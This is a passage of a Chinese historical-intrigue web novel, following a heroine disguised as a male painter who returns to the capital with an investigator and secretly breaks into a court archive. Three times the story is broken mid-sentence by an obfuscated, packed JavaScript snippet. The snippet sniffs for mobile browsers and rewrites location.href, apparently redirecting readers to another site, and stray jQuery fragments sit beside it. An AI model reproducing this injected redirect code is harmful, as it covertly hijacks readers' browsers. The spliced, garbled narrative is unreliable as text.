记忆里,父亲和厉思远似乎关系平淡,也不会来往走动,却没想到他竟如此相信父亲。 他知道父亲是被冤枉的吗? 他也曾在朝堂上为敛府伸冤吗? 敛烟思绪万千,就听见厉思远说: “去休息吧,明日……还要启程回京。” 敛烟的原本眼泪将落未落,听到这句话后如蒙大赦,低着头行了一礼后便匆匆离去。 她不知道的是,她离开以后,身后的厉思远却攥着那张罪状书,在原地站了许久。 * 翌日,邱容喊上敛烟一同去给厉思远收拾行囊,三位皇子的下人们也都开始忙碌,一时间烟雨阁又嘈杂起来。 夏太守和苏世良站在宅院门口,神色惶恐地看着众人在马车上装行囊。 他们不知道内情,明明说好在这里住上七日,如今三日便要离开,难道是因为自己照顾不周吗? 苏世良更是被夏太守骂得体无完肤,因为他觉得没有照顾好三位皇子的饮食起居,还让陆大人的亲妹妹眼睛失明,都是苏世良失职。 敛烟跟着厉思远从烟雨阁走出来,就看到苏世良和夏太守魂不守舍地站在门口。 见厉思远出来了,两个人忙不迭迎上前,拱手相送。 夏太守凑上前,小心翼翼打听起来:“那个……厉大人,不、不知道三位殿下为何着急回京?可、可是我们有哪里照顾不周?” 厉思远又恢复了往日的平静,他垂眸看向两个佝偻的小老头: “殿下只是回京有急事。” 夏太守和苏世良原是松了一口气,下一秒心却提了起来。 “回去急着禀报陛下,丹阳郡太守是如何中饱私囊、欺压百姓的。” “又是如何为了满足口腹之欲,谎称渔获不新鲜,更换朝廷贡品的。” 听见自己做的那些事情竟被厉思远说出来,夏太守吓得脸色煞白,扑通一声跪到了地上。 苏世良也大惊失色,跟着匍匐在地,浑身颤抖。 夏太守那些事他可都参与了啊!如今他被发现,那自己…… 夏太守失声大喊:“大人明察啊!下官没做过那些事啊!” “定是底下人瞒着下官做的……对!是苏世良,定是他做的!” 苏世良一听夏太守不由分说就把自己推出来,顿时慌了神。 厉思远打断了夏太守喊冤的声音,冷声道:“若是本官没有十足的证据,今日也不会在这里揭穿。” “来人,带走。” 两个潜麟卫闪身出来,迅速带走了两个哭号的人。 敛烟掰着指头算了算,好家伙,这一趟带回京五个人。 真是收获颇丰。 只可惜阿宽不知道当初给他药的人是谁,不然父亲的冤案或许也有眉目。 如此一来,还是需要去找到那位申太医失踪的案卷了。 这边敛烟正在思忖,那边三位殿下从烟雨阁门口走了出来。 敛烟躲在马车旁边,仔细观察严恒的神色,他虽然那日醉酒昏睡了过去,但肯定听到了一些风声。 然而严恒还是一如既往地温和,看到厉思远也只是平静地点点头,看不出有什么异常。 反倒是严宏道出来的时候,看到厉思远和严恒站在一边说话,不屑地冷哼一声,脸色阴沉地钻进了马车。 陆景明却是最后一个出来的。 先是陆巧香拄着一根木棍,由两个壮丫鬟扶着从里面缓缓走出来,她看起来脸色苍白,弱风拂柳的,敛烟看着都不禁皱起眉头。 还没等陆巧香从门口石阶上走下去,伍熹微便提着裙摆怒气冲冲走出来。 陆景明顶着两个硕大的黑眼圈追了出来,边追边喊: “熹微,等等我……哎呀巧香她不是失明心情不好,你就让让她……” 伍熹微冲到马车前,转过头没好气地冲他道: “你们陆家人最是金贵,不过就是一双眼睛罢了,她还真当自己是什么大小姐了,连我都敢骂?!” 陆巧香听到这话脸色一僵,刚要反驳,就被旁边两个丫鬟强行带上了马车。 伍熹微得意地看了一眼陆巧香的方向,冲陆景明道: “陆景明,我伍熹微愿意嫁给你那是看得起你,我随时随地都可以取消婚约,让你的妹妹以后在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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眼看离京城还有两日的路程,所有人都有些松懈。 敛烟一连跟着颠簸数日身子骨早就已经散架,她以前身子骨经不住颠簸,父母亲都会特意照顾她让马车走慢点,但如今自己跟着一群身强体壮的年轻男人坐马车,有时候要颠上一天。 所以一到休息的时候,敛烟便要下车四处走走,活动活动筋骨。 这天她照常找准停车煮饭的时机,想要拉上黄莹莹一起逛一下,但看到邱容那杀人的眼神,她只好放弃这个想法,自己一个人往丛林里面走去。 越到京城附近,周围的崇山峻岭便越多,树木茂密人烟稀少,敛烟走着走着,就不知不觉来到了树林深处。 忽然,一阵不好的预感直涌上心头,敛烟皱眉回过头,就看到树林周围之间冒出了两个黑色的人影。 他们身穿黑衣,原本是悄悄接近,看到敛烟发现了自己,索性放弃伪装,亮出短刀便扑了过来。 敛烟心里一紧,转身撒开腿就跑,堪堪躲过了两个人的攻击。 但是没跑两步,敛烟只觉得自己脖子一紧,被人提着领子便扯了回来。 一只强有力的手臂紧紧箍住她整个身子,让她动弹不得。 短刀冰冷的刀刃贴近她的皮肤,敛烟刚要大喊却被人死死捂住口鼻。 阴冷的声音从耳边响起:“要怪你就怪自己运气不好吧。” “跟了一个……惹事生非的主子。” 30. 舞姬花奴 主子? 他们是冲厉思远来的? 敛烟心中一阵绝望,恐惧地闭上眼睛时,就听见耳边的声音忽然痛呼一声,自己脖子上和嘴上的手都忽然一松。 紧接着,那黑衣人手上的短刀便当啷一下掉在了地上,而他整个人也控制不住倒飞出去。 另一个黑衣人大喊一声:“谁!” 敛烟还没反应过来,就感觉自己的手被人一扯,一阵女人的香气便扑鼻而来,整个人控制不住朝前面迈了两步。 一个身穿纱裙的长发美女挡在了敛烟面前,她脸上围着红色面纱,手上拿着一根软鞭,手腕翻飞间,鞭子便以迅雷不及掩耳之势甩了出去。 黑衣人身手也不差,一个闪身躲过了攻击,软鞭啪地一声打在地面上,掀起一阵扬尘。 黑衣人眼中闪过狠戾,抬起袖子便亮出一把袖箭,却没有瞄准那女人,而是直指敛烟,一根箭嗖地一声飞了出来。 一切发生在电光火石之间,敛烟眼见着躲闪不及,心头一沉。 那女人却不慌不忙抬起没有拿着鞭子的手,伸手一夹,竟然将那弩箭生生夹在了两指之间,箭尖堪堪停在了敛烟的眼前,惊的她一身冷汗。 她还没反应过来,女人的胳膊朝在空气中划出一道优美的弧线,那弩箭竟被她用手丢了出去,原封不动地还给了黑衣人。 黑衣人捂着胸口倒了下去,痛苦地在地上抽搐了一下后便不动了。 女人绕过前面黑衣人的尸体,去查看另一个,发出了懊恼的声音:“啧,本来想留个活口,这个人竟然服毒自尽了。” 敛烟惊魂未定地站在原地深吸一口气,平复了一下心情后才问道:“你……你是那天渔获宴上被人下药的舞姬?” 舞姬打量了一下敛烟后,点点头:“是我。” 随后她将软鞭收进腰间,盈盈朝敛烟跪拜下去:“妾身花奴,谢过姑娘那日救命之恩。” 敛烟神色一凛,不经意后退两步,盯着花奴:“……我是男子,你喊错了。” 花奴微微一笑,恭敬垂头:“姑娘不必担忧,虽然奴不知姑娘因何事隐藏自己的女子身份,但奴会为姑娘保守秘密。” 敛烟紧绷的后背微微松了一下,随即又叹了口气,嘟囔着:“不是,怎么一个二个都能看出来我是女子?我难道伪装的很差嘛?” 花奴眨了眨眼:“姑娘,女子向来心思敏感细腻,所以姑娘若是以后想要不被认出,在女子身边要尤为小心。” 敛烟点点头,随后正色道:“谢谢姑娘指点,不过那日我也是凑巧救了你,你刚才已经救了我,我们也算是两清了。” 花奴有些懊恼地道:“这次针对姑娘的刺杀,也是因为那日姑娘救了我,对方计划未得逞不解恨,所以迁怒于了姑娘。” 她顿了顿,忽然从怀中掏出了一个木制的哨子,双手捧起递到敛烟面前。 “姑娘救了我一次,又因我差点负伤,奴空有一身武艺,无以为报。” “姑娘日后若是需要奴,可以吹响这个哨子唤奴三次,任何事都可以,奴定当全力以赴。” 敛烟愕然看着眼前的花奴,先不说自己不过就是举手之劳,她分明就是请来助兴的青楼舞姬,为何会有这样高的一身武艺? 但看着花奴清亮的眸子,感觉也并不像在说谎,况且…… 自己日后若是想要替父亲讨回公道,花奴一定能帮上忙。 敛烟沉吟了一下,问道:“你武艺如此高强,为什么甘愿做一个青楼舞姬?” 花奴苦笑道:“不瞒姑娘,我原是一个杀手,靠着赏金吃饭的。” “后来在执行任务的时候遇到了一个很好的朋友,此番潜入青楼……就是为了调查我朋友的死因。” 她说的很模糊,但敛烟也听出了她要潜入青楼的原因,沉默片刻后,伸手拿过了那木哨子。 送上门来的助力,不要白不要。 敛烟颔首:“那日后便要麻烦花儿姑娘了。” 花奴一愣。 她自出生就被培养成了一个杀手,为了驯化大家,组织里所有人名字里都有“奴”字。 但这个陌生的姑娘,却特意将“奴”隐掉了。 花奴绽开笑容,双手抱拳朝敛烟一揖,随后身形一闪,便消失在了原地。 好身法! 敛烟在心中暗暗叫好。 “彦儿!跑哪去啦?开饭了!” 树林不远处隐隐约约传来邱容的喊声,敛烟连忙应着跑了出去。 回到马车上,敛烟便把刚才发生的事情同厉思远说了,她刻意隐去了花奴来救自己的部分,只是说自己反抗失手杀了一个,另一个服毒自尽了。 厉思远听完后脸色阴沉,没有说话。 其实猜都能猜到是谁动的手,只是敛烟知道以厉思远的立场,他没办法做出任何实质性的回击。 “这几日我会一直派潜麟卫跟着你。”厉思远沉默半晌,开口:“放心,以后不会再出现这种事了。” * 三日后。 马车骨碌碌驶入了京城。 此次回来照例要先去面见圣上,所以马车一路朝皇宫而去,正路过曾经的敛府。 敛烟估摸着时间差不多,便掀开了马车帘。 与江南不同,京城的阳光格外的刺眼,白色的阳光刺的敛烟眯起了眼睛,看向挂着“敛府”牌匾的宅子。 小却精致的宅院大门紧闭,上面贴着两个醒目的白色封条,原本一尘不染的红金色牌匾如今蒙上了一层尘土。 路上的行人也都刻意避开了门口绕着走,自己曾经和弟弟一起玩耍的门楣,如今却只剩下一片萧瑟,还被人泼了一地秽物。 敛烟抓紧了马车帘,强行压下心中酸涩,等敛府已经变成一个小黑点再看不到时,她才放下帘子转过头,却蓦地对上了厉思远的视线。 不知道是不是错觉,敛烟总觉得厉思远似乎也在朝马车外看去,但他很快收回了视线。 很快,马车便在宫门口停了下来,一个小太监匆匆忙忙从宫门里面跑出来,尖声尖气地道: “陛下宣三位殿下和厉大人去后殿用膳,陛下口谕,此次是家宴,无关人士就不必来了。” 按理来说这次回来,跟去江南的陆景明也有资格进殿拜见陛下,他还为此兴奋了几日。 和上早朝不同,相当于和陛下私下里有往来,其他臣子也会对他高看一眼。 但一句“家宴”便把他挡在了门外,陆景明脸色瞬间难看了起来。 厉思远和邱容简单交代了两句后,便随着三位皇子进宫面圣了。 敛烟就看到了邱容不情不愿地看向了自己。 其实在回来的路上,敛烟就始终有些忐忑,那日厉思远让自己以后跟着他,但并没有直说是不是允许自己同他一起进入大理寺。 若只是在他的府邸伺候,那自己又要想方设法让他带自己进入大理寺,如果太刻意,反而会引起他的怀疑。 很快,敛烟发现自己想多了,厉思远小小的马车载着他所有的行囊,很快便停在了大理寺门口。 邱容跳下马车,望向敛烟:“愣着做什么?快下来搬东西啊!” 敛烟难以置信地望着邱容:“这……不应该回到大人自己的府邸吗?” 邱容奇怪地看了她一眼:“我们大人从未置办过宅邸,从来都是住在府衙里的。” 这样一说敛烟想起来了,京城似乎从未有过厉姓府邸。 据说厉思远的父母扶持陛下一路北上,祖先世代居住在极南处的一个小村庄,也是当今陛下发迹的地方。 厉思远的父亲是当年赫赫有名、立下七连胜的大将军,曾是陛下手下的得力干将。 他的母亲也曾经是远近闻名的才女,为陛下从一介布衣到一路扩张,从昏庸腐败的大西国手里夺过江南一带没少出谋划策,颇得陛下赏识。 可惜两个人在生下厉思远没多久,为了掩护被奸细出卖的陛下逃走,双双殒命。 邱容边从马车上卸下行囊便自豪地说道: “此前陛下知道大人没有府邸,特意赏赐黄金千两给大人置办。” “但是我们大人向来勤俭又善良,将黄金一半用来建善院收留孩童,一半捐作赈灾款。” 敛烟啧啧称奇,自己若是手里拿着千两黄金,估计早就被冲昏头脑,少说也要用上几百两。 没想到厉思远竟然分文不取,全都捐了! 她越过马车的车顶,望向远处在阳光下熠熠生辉的金銮殿。 无功不受禄,厉思远不用陛下赏赐的钱财置办豪宅,除了他的确心系天下百姓以外,是不是还有什么顾虑呢? * 雕龙画柱的大殿内,只有轻微的碗筷碰撞声,就连平时张扬的严宏道也在低眉顺眼地吃饭。 厉思远抬头看向廊柱外的园子,被不远处金色的房顶晃得眯起了眼睛。 明帝夹起眼前的酒醋蹄酥片放入口中,看向发呆的厉思远:“阿远怎么吃的这样少,是今日饭菜不合胃口?” 厉思远放下玉箸,拱手:“回陛下,北上的路途过于遥远,臣有些劳累,所以胃口不佳。” 明帝摆摆手:“都说了,这是家宴,你称呼我为父皇就好,怎的总是这样生分?” 厉思远一板一眼地说道:“臣自知君臣有别,不敢僭越。” 每次和几位皇子一起吃饭,陛下总会来这么一句,厉思远已经见怪不怪。 明帝也懒得在这种小事上浪费时间,他转移了话题:“你们此行去江南,有什么新鲜事没有?” 严宏道连忙殷切地讲述他们在路上如何看到江南人民平安幸福、歌舞升平的景象。 明帝喝了口汤,漫不经心地开口:“听说,陆景明的妹妹因为恶疾烧瞎了眼睛?” 一句话,严宏道猛地闭上了嘴,偷偷觑向明帝的脸色。 明帝神色如常,抬眼看了下严宏道:“他不是你带去的?没有好好调查一番么?怎么会突发恶疾?” 严恒替旁边的严天逸擦擦嘴,用余光瞥了一眼严宏道,不易察觉地弯了弯嘴角。 这个时候只有严天逸能毫无顾忌地用手抓着点心吃个不停,其他几个人都噤若寒蝉,因为他们知道,明帝这是来兴师问罪了。 严宏道讪笑一声:“父皇,儿臣早已派人做了调查,是府里进了贼人妄图给我们下药,陆家妹妹误食后才……” 明帝不客气地打断了他:“是府外的贼人,还是家贼,你都没有调查清楚么?” 严宏道只觉得头上冷汗涔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268733|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涔而下,一时间摸不清父皇是什么意思,只能攥紧拳头低头盯着眼前的菜,不敢说话。 明帝看着严宏道,冷哼一声:“来人,带上来。” 两个身穿金色盔甲的侍卫很快便拖着一个人走了上来。 来人正是阿宽。 眼前的人受了不少刑,双目红肿、脸色苍白,脸上身上都交错纵横着极深的鞭痕,双腿已经没有力气站起来,几乎是被侍卫们拖着上来的。 两个侍卫把人扔在地上,阿宽早已被吓得魂不附体,知道在他面前的是九五至尊,哆嗦着跪在地上: “陛、陛下……小人真的冤枉啊……” 厉思远没什么表情地看向明帝,自己已经将阿宽的罪证呈给陛下,如今不管他如何喊冤,想来陛下都不会再理会。 果然,明帝连眼神都不愿给阿宽一下,依旧低头夹菜,边吃边说道: “为一己私利,毒害主家,还妄图毒害皇嗣,这种罪大恶极的人,就五马分尸吧。” “至于说他的家人……也一并埋了吧。” “什么……陛下!陛下!家中老母什么都不知道!不能这么做啊!不能——!!!” 阿宽被人拖着,凄厉的喊声逐渐远去。 大殿内死一般的寂静,严宏道此时大气不敢喘,只盯着眼前的菜,不敢去看明帝一眼。 就连严天逸也觉察出了气氛不对,害怕地小口咀嚼着嘴里的糕点。 厉思远看了一眼明帝。 他知道,陛下眼线众多,怎可能不知道是谁在背后指使,只是他爱子心切,此次处置阿宽,不过就是给严宏道一个教训罢了。 陛下曾和自己透露过,他痛恨手足相残,但又知道储君之争不可避免,希望自己能够保护三位皇子殿下。 但他也知道,其实陛下并不反对皇子们通过一些手段来达到自己的目的,这也是为君之道的一种。 只不过严宏道这次是真正触及了陛下的逆鳞。 严恒的母亲是大西国的舞娘,出身低微,据说陛下在遇到她的时候情窦初开,在并不知道对方是大西国人的情况下,两个人便有了严恒。 虽然严恒的母亲对大西国并没有什么感情,但低微的出身加上无法改变的大西国血脉,让陛下对她又爱又恨。 以至于即便有严恒这位大皇子傍身,严恒的母亲依旧只是一个小小的袁美人,任谁都能踩上一脚。 而即便严恒有着连太傅都赞不绝口的才智,依旧被陛下狠心送入大西国为质五年,直到现在也拒绝立储。 严宏道正是想利用这一点,让严恒与舞女在渔获宴上苟合。 陛下知道后不管是不是下药所致都一定会暴怒,严恒这个大皇子的身份能不能保住都未可知。 利用陛下对袁美人的感情,就是他的逆鳞。 此时明帝也没了吃饭的心思,站起身拂了拂袖子:“朕要睡午觉了,你们自行离去吧。” 听到这句话的严宏道如蒙大赦,与父皇拜别后,便从正殿门口匆匆离开,厉思远看着他离去的方向,就知道他要去同皇贵妃商量对策了。 他摩挲了一下袖子,这个时辰大理寺的众人应该已经安置好了,也不知道彦儿如今在做什么? 念头一动,脚下的步伐便加快了几分。 就在这时,背后传来严恒的声音:“厉兄,留步。” 厉思远转过身,此时两个人正站在通往宫门的廊下,严天逸不知什么时候被嬷嬷们带走了,廊下只剩下厉思远和严恒两个人。 厉思远依礼拱了拱手:“殿下有事?” 严恒身穿墨绿色的朝服,眉眼温和,笑呵呵地拍了拍厉思远的手:“你我兄弟二人就不必拘礼了……” 他朝两侧看了看,确定没有宫女太监路过后,便低声道: “父皇今日说的下药毒害皇子……厉兄可有头绪没有?我当真不相信那个下人会自己动手,定是有人在背后指使。” 严恒看着老实巴交,又对严宏道唯唯诺诺,厉思远却知道他心思并不简单。 想来他心里早就已经有了答案,只不过在揣着明白装糊涂罢了。 厉思远笑着回应:“一切以陛下的判断为准……不过殿下向来酒量过人,渔获宴上竟然醉到酣睡,也实属难见啊。” 严恒被拆穿小心思,也没有半点尴尬的感觉,反而爽朗大笑:“哎呀,上年纪了这个酒量也是不行了……哈哈哈!” 说完,他又神秘兮兮凑近:“厉兄,空了来我宫里坐坐,有些事呢,我们可以单独聊聊。” 厉思远往旁边挪了一步,保持一定距离后拱手:“殿下抬爱,臣只侍奉陛下和太后,旁的事情,容不得臣多想。” 言外之意,他只效忠陛下,回绝了严恒的拉拢之意。 严恒对他的拒绝并不意外,只是意味深长地瞥了厉思远一眼,平日里看似无欲无求、温和谦顺的眼眸中划过一丝冷意: “无妨无妨,只是……作为兄弟提醒你一句,父皇早晚都会立储,你只有两个选择,早些做出选择,对谁都好。” 说完,他又笑着拍了拍厉思远的肩,似是安慰:“好啦,你自便吧!” 厉思远始终保持着躬身行礼的姿势,等到严恒走远,他才默默直起身子,眼中染上一抹复杂的神色。 31. 思过室 就在厉思远拜别严恒,打算离开回府的时候,就被一个老嬷嬷拦住了。 太后冯氏请他去一趟长乐宫。 厉思远摸了摸袖子里的玉镯和信笺,是林阿婆给汤婆婆的信,敛烟拜托他送的。 他看了一眼天色,那今日恰好就将这封信送过去吧。 冯氏是明帝在乡野的时候的母亲。 以前经常吃不饱穿不暖,她夫君早逝,一个人把明帝拉扯大,所以身子骨不好又很瘦弱,整个人像是被藏在宽大的锦袍中。 她头上并没有多少珠钗装饰,因为她觉得麻烦不习惯。 此时她正在宫殿外的院子里,低头侍弄着一院子的花草蔬菜。 当了一辈子的农户,忽然之间锦衣玉食,前呼后拥地几十号人伺候,很多事情不需要动手,动动嘴就可以了,冯氏是有些不习惯的。 所以她还是亲自在长乐宫的院子里开辟了一间菜园,不肯其他人帮忙,亲手种一些花花草草和蔬菜。 亲手种的蔬菜还会自己亲自下厨,做给明帝吃。 她身边的人也很少,除了一些丫鬟婆子外,就只有一个汤嬷嬷和她最亲近。 汤嬷嬷,就是林阿婆想要找的汤婆婆。 敛烟也着实没想到,林阿婆在宫中当值的好姐妹,竟然是太后身边的人。 厉思远迈进长乐宫大门,就看到丫鬟们提着水桶朝菜园方向而去,他就知道,太后又坐不住了。 丫鬟婆子们站在菜园外,忧心忡忡地朝里面张望,看到厉思远来,都仿佛看到了救星: “大人,您快劝劝娘娘吧,这日头正晒着,她身子骨不好,已经在菜园里面待了一个时辰了,再这样下去病倒了,奴婢们可怎么向陛下交代呀!” 厉思远走进菜园,里面流水潺潺,有约莫四块地,一个穿着锦袍的老妇将袖子和衣服下摆都卷起来,露出瘦弱的胳膊和小腿,正蹲在地里面查看蔬菜的长势。 在她旁边站着一个有些胖的老嬷嬷,正拿着水瓢替旁边的花草浇水。 厉思远走到那位锦袍老妇身边,朝她恭敬行礼:“娘娘。” 冯氏抬起头,皱纹满面的脸上浮起笑容:“阿远来啦?” 她想要从地上站起来,却有些体力不支,厉思远小心避开蔬菜上前两步,搀扶起了冯氏。 冯氏叹了口气:“老啦,不中用了。” 厉思远连忙道:“不如我们进殿里喝口水,这日头正毒辣,等会儿我再陪您一起我院子里看看蔬菜如何?” 冯氏笑着抚上厉思远的手,假意嗔道:“还是你好啊,他们只会让哀家回去歇着,除了汤氏外,没有一个人愿意陪哀家一起种地。” 汤嬷嬷这个时候也放下水瓢走上前来,朝厉思远行礼后,也从另一边搀扶好冯氏。 三个人说说笑笑,进了宫殿,宫女们连忙迎上前,扇风的扇风,倒水的倒水,拿水果的拿水果,好一番忙碌。 厉思远和冯氏讲了自己在临州的见闻,隐去了其中一些细节。 冯氏对彦儿非常感兴趣,忍不住追问:“你说的那位彦儿画师……当真把枯骨的容貌都还原出来了么?” 厉思远点点头:“我也很意外,我寻访各大名画师都没有做到的事情,当真是被他一个平民做到了。” 冯氏展颜一笑:“当真是民间出高手啊,有机会的话,把他带到宫里面让哀家好好瞧一瞧。” “说来也巧,他有一封书信拜托我转交给汤嬷嬷。”厉思远从怀中掏出了林阿婆的信物和书信。 “他原本是想亲手交给汤嬷嬷的,但他刚到京城,也没有传召,便没有擅自入宫。” 汤嬷嬷一直站在旁边替冯氏捏肩,听到自己竟然有书信,忍不住愣了一下: “大人,您、您是说这个是给老奴的书信?” 汤嬷嬷低下头看到放在厉思远掌心里的玉镯,瞬间意识到这是谁给她的,眼眶忍不住瞬间通红。 “临州的林阿婆不知道您有印象么?彦儿他和林阿婆关系亲近,知道彦儿要来京城,林阿婆便托他把书信带给您。” 汤嬷嬷看向冯氏,冯氏点点头示意她接下来,汤嬷嬷这才把手放在衣襟上擦了擦,颤着手接过来了那玉镯和书信。 她和林阿婆已经有许多年未见了。 以前二人还时常通书信,但自从入了宫,宫里面规矩森严,三年可能才能通一次书信。 最近的一次还是三年前,她想要给林阿婆寄一些银子,却被林阿婆狠狠拒绝了,说自己过得很好不差那点银子。 “那个……林儿她怎么样了?我知道她儿子在临州找到了一份捕鱼的工作,还不错吧?”汤嬷嬷有些担心地问厉思远。 林儿,是林阿婆的乳名。 林阿婆这人自小固执,当初她不顾家里人的反对,要嫁给那个一穷二白的渔夫,汤嬷嬷很担心她过得不好。 但自从她离开临州到京城闯荡以后,林阿婆的书信里都是报喜的。 她虽然心中担心,但还是希望林阿婆能像她信里面说的那般好。 听到汤嬷嬷的询问,厉思远沉默了。 半晌,他才缓缓开口:“林阿婆她……已经去世了。” 汤嬷嬷抿住唇,红了眼眶,颤抖着打开了书信。 信中,林阿婆和这位远在京城的姐妹,终于说了实话。 说了这些年自己的苦楚,说自己智力不健全的儿子,说自己被骗光了全部家产,最后落得一个孤苦无依的下场。 但她也说,说自己遇到了许多好心人,遇到了一个像小太阳一样明媚耀眼的彦儿,她又觉得这辈子,其实也没那么苦。 她说,彦儿似乎有一些难言之隐,希望汤嬷嬷若是有机会,能够帮帮他。 汤嬷嬷一字一句看着书信,不知不觉间老泪纵横。 她抬起手,用指腹轻轻摩挲着那平平无奇的玉镯,那是她离开临州前,和林阿婆互相交换过的信物。 车马很慢,路途遥远,她们知道日后很难再相见了,只希望对方能够过得很好。 可没想到,真的就这样一辈子都没见了。 汤嬷嬷颤着声开口:“她、她去世的时候,是一个人么?” 厉思远沉声道:“我和彦儿一起埋葬的阿婆,她去的很安详。” 汤嬷嬷抬起手擦了擦眼泪:“谢、谢大人……” * 厉思远从宫里出来的时候,京城已经家家户户亮起了灯笼。 开门的侍卫打了个长长的哈欠,看到是自家大人以后吓得原地立正:“大、大人?您怎么回来了?” 厉思远斜睨了他一眼,神色古怪:“怎么?我不能回来?” 那侍卫有些心虚地朝里面瞥了一眼:“这……邱管事说您今日可能宿在宫中了,所以才……” 厉思远没有等他解释什么,抽身便朝里面唯一亮灯的房间大踏步走去。 自己睡眠始终不好,每日都会有一套雷打不动的作息时间才能休息好。 但最近由于彦儿的出现,自己的作息时间也有了些许混乱,以前从来不睡懒觉的自己,竟然破天荒睡过了头,晚上也能很快入睡了。 按照以前的惯例,今日冯氏都会安排自己在偏殿小住,然而这次厉思远却回绝了。 就连冯氏都觉得很是惊讶,她原也是知道厉思远因为寒毒,有头痛难以入睡的毛病,也是算准了他要睡觉的时辰让他去住的。 不过冯氏也没有说什么,而是让厉思远回来了。 但厉思远没想到回来就看到侍卫一脸心虚,也不知道自己不在府里的时候,这些人都在偷偷做些什么。 他大步走到亮灯的房门前,听到里面的嬉笑声后顿住了脚步。 是那个小画师的声音。 厉思远原本是可以直接推门而入的,但是他却鬼使神差地绕到了窗子旁边,用手指调动一丝内力轻轻在窗纸上破了个洞,偷偷朝里面望过去。 正对着窗户的,就是敛烟毛茸茸的后脑勺。 只听见她清脆的笑声传来:“我看看——哎!没有我的大,不好意思啦,邱管事!” 接着就是哗啦啦的碎银入袋的声音以及一些小丫鬟咯咯咯的笑声。 邱容的声音从里间传来,懊恼中透露着不甘:“怎么又是你赢?你是不是出老千了!” 敛烟摇头晃脑地数着钱:“哎,莹莹她们可都看着呢,我出老千了嘛?” 黄莹莹的声音就小了许多,也不知道是不是厉思远的错觉,总觉得这姑娘语气里带着娇羞: “邱管事,我们在这儿看的清楚,彦儿哥哥确实没有小动作。” 然后就是其他人艳羡的声音。 这时黄莹莹出现在了厉思远视线里,她似乎喝了点小酒,可爱的苹果脸有些红,有些崇拜地看着敛烟: “彦儿哥哥,你推牌九有什么诀窍吗?教教我们嘛!” 两个人凑得很近,旁边响起了很多人起哄的声音,邱容挤到两个人中间,挥着双手阻止其他人起哄。 黄莹莹的小脸更红了,不好意思地别过头去。 敛烟抬起一只脚翘在桌子上,竖着一个手指头洋洋自得地道:“其实没什么诀窍,主要是……” 大门忽然吱呀一声从外面打开,大家朝门外看去,瞬间噤若寒蝉。 只有敛烟闭着眼睛还在摇头晃脑:“主要是要算牌,至于说怎么算……” 厉思远没什么表情,垂着眼睛看向得意洋洋的小画师:“本官也甚是好奇,说说怎么算?” 敛烟的动作一顿,缓缓睁开眼睛,看到眼前面无表情的厉思远,小心翼翼地将腿从桌子上拿下来,把手里的牌九往前一推,嘴角勉强扯出了一个比哭还难看的笑容: “大、大人,你……要来一把么?” 厉思远低头看着敛烟大眼睛滴溜溜转着,心虚的脸色涨红,却不知自己哪里来的火气,冷声道: “在府衙重地敢公然赌博,今晚不许吃晚饭,去思过室呆上三日,好好反思一下。” 黄莹莹这时忽然开口:“大、大人,彦儿哥哥他、他只是玩闹,没有真的赌博……” 彦儿哥哥? 哼,倒是叫的亲密。 “五日。” 厉思远冷冷看了敛烟一眼,随即大踏步离开。 * 敛烟看着小窗户外面投下来的一缕银白色的月光,脸上露出一抹狡黠的笑容。 她轻手轻脚来到思过室的墙边,从怀中掏出木簪子,插入砖块之间的缝隙中,往上一撬,一块砖轻轻松松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268734|182205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便脱落下来。 就这样如法炮制,拢共卸下来了十几块砖,思过室的墙上很快露出了足够一个人穿过的洞口。 而在洞口的另一侧,便是大理寺存放案卷的案卷司。 以前父亲带自己来过几次大理寺,她儿时贪玩,记忆力又超群,所以对这里的一砖一瓦都很是熟悉。 思过室一般是给触犯大理寺院规的官员面壁的地方,但一般来大理寺当值的官员都不会犯愚蠢的错误,所以有些年久失修。 敛烟儿时来玩耍的时候,偶然发现了思过室里面砖头松动,而一墙之隔就是案卷司。 所以敛烟这才铤而走险,故意犯错引厉思远把自己关进思过室,果然发现这里的砖头没有被修复的迹象。 只不过……厉思远昨晚似乎很生气,推个牌九而已,也不至于那么生气吧…… 敛烟甩了甩头,将多余的想法甩出脑海。 看天色约莫丑时,离案卷司的大人们来当值还有一段时间,而巡逻的守卫也只是在外面院子巡逻,所以现在可以说是畅通无阻,敛烟顺着洞口爬了进去。 想要在浩如烟海的案卷中找到自己想要的那一份可谓是难如登天,但敛烟却知道记录案卷位置的卷轴在哪里。 父亲最开始也是在案卷司任职,而现任案卷司的司主王雨生正是父亲的老部下,也是父亲最信任的朋友。 之前自己来大理寺玩的时候,父亲公务繁忙,都是这位王伯伯带自己在案卷司呆着。 敛烟自然就知道案卷司的很多事情,他们每次需要查阅案卷时,就要找到王雨生去拿记录卷轴查看编号,再根据编号寻找案卷。 敛烟直起身子,看着熟悉的布局,心里暗喜。 她原本名还担心厉思远上任后,会对案卷司做一些改变,现在看来应该和以前没有什么区别。 她借着月光穿过层层案卷架,迈过堆在地面上的案卷,来到了王雨生的独立书房。 